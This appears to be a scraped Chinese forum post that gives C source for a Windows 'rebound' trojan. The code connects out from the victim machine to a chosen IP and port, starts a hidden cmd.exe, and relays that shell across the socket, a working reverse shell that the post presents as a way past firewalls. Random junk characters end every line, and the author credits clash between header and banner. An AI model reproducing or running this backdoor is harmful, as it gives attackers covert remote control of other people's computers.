这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2i_k$-
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/* ============================== a@V`EEZ
Rebound port in Windows NT W~FM^xR?p
By wind,2006/7 z#elwL6
===============================*/ _"0Bg3Y
#include zU,Qph
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#include V0!$k.Wk
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#pragma comment(lib,"wsock32.lib") DNl'}K1W
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void OutputShell(); e2l!L*[g
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1x~dsM;q
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void main(int argc,char **argv) z8\z`#g!
{ GY,HEe]2r
WSADATA stWsaData; &!5S'J%
int nRet; 9s'[p'[Z
SOCKADDR_IN stSaiClient,stSaiServer; HTU?hbG(
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if(argc != 3) (^).$g5Hg
{ [b6P
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printf("Useage:\n\rRebound DestIP DestPort\n"); WvJidz?5
return; ||t"}Y
} Zw<\^1
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1iTI8h&[@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XIJW$CY
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stSaiClient.sin_family = AF_INET; nL@(|nJ[
stSaiClient.sin_port = htons(0); j!<(`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f,}9~r#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8\/$cP"<^
{ $(8CU$gi=
printf("Bind Socket Failed!\n"); I=G-(L/&
return; "MNI_C#{
} <@z!kl
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stSaiServer.sin_family = AF_INET; E\Et,l#|LY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (6#,
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6wY6*R
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :sL?jGk\
{ `}Z`aK
printf("Connect Error!"); [Y_CRxa\u
return; >q7/zl
} .Do(iYO.L
OutputShell(); Tz?0E"yx
} 70BLd(?
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void OutputShell() `!A<XiAOmM
{ ]Ll<Z
char szBuff[1024]; {oK4
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SECURITY_ATTRIBUTES stSecurityAttributes; |)}&:xA%
OSVERSIONINFO stOsversionInfo; ;bhD:$NB X
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z IT)Hs5
STARTUPINFO stStartupInfo; ;*}tbh3;.
char *szShell; ev"f@y9Do
PROCESS_INFORMATION stProcessInformation; Z_.xglq{
unsigned long lBytesRead; |b'}.(/3i
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?|NMJQsa7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }s++^uX6
stSecurityAttributes.lpSecurityDescriptor = 0; 6I!B>V#U+
stSecurityAttributes.bInheritHandle = TRUE; g/f^|:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @zGz8IF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =)mA.j}E2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,z0~VS:g 8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'YTSakNJ}
stStartupInfo.wShowWindow = SW_HIDE; mx3p/p
stStartupInfo.hStdInput = hReadPipe; ZD;1{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x@*!MC#
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GetVersionEx(&stOsversionInfo); _ ,~D]JYE
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switch(stOsversionInfo.dwPlatformId) O=;}VZ<9
{ _my!YS5n
case 1: !}pvrBS
szShell = "command.com"; ews{0
break; nc/F@HCB
default: =jIP29+
szShell = "cmd.exe"; d;FOmo4
break; '74*-yd
} Q8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DT#F?@LG(
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send(sClient,szMsg,77,0); mP[Z lS~"
while(1) O'[r,|Q{
{ ;*[oi
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *aaK_=w
if(lBytesRead) LzGSN
{ T6M=BkcP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X 3q2XU
send(sClient,szBuff,lBytesRead,0); ~A$y-Dt'
} ~;/}D0k$x
else ^={s(B2
{
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lBytesRead=recv(sClient,szBuff,1024,0); +b_o2''
if(lBytesRead<=0) break; g?OC-zw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7+;CA+;
} /k^!hI"4c
} WinwPn+9
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return; L|]!ULi$d
}